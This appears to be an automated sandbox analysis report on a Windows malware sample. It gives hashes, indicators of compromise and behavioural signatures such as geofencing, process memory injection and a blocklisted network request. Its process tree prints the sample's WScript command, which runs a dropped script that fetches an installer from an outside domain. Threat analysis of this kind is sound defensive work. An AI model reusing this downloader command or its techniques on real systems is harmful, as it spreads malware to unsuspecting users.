Analysis
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max time kernel
117s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
28-11-2022 00:14
Static task
static1
Behavioral task
behavioral1
Sample
ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe
Resource
win10v2004-20220901-en
General
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Target
ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe
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Size
184KB
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MD5
36db1869998c870fea3c24eecee26222
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SHA1
7c43251e37cf446d26ea1e6bc4a75ea3bf4948c5
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SHA256
ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd
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SHA512
a94c3871cc9e29aa93d0b324915562b9e9d4ec8d7d038b6fa3428f9e061bdf98ffd0d0de112098b716056661eb47ea69458a47c793b72fafe3fda4555f6e1a6b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndn+
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 1944 WScript.exe 13 1944 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 1300 2380 WerFault.exe 81 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2380 wrote to memory of 1944 2380 ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe 82 PID 2380 wrote to memory of 1944 2380 ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe 82 PID 2380 wrote to memory of 1944 2380 ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe 82
Processes
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C:\Users\Admin\AppData\Local\Temp\ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe"C:\Users\Admin\AppData\Local\Temp\ada62c4c4885dec359b76d72dffbfef251efc4380eff238ac4d3aac1745d25cd.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB8D5.js" http://www.djapp.info/?domain=GSzHnjLKVo.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufB8D5.exe2⤵
- Blocklisted process makes network request
PID:1944
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2380 -s 8562⤵
- Program crash
PID:1300
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 2380 -ip 23801⤵PID:3924
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76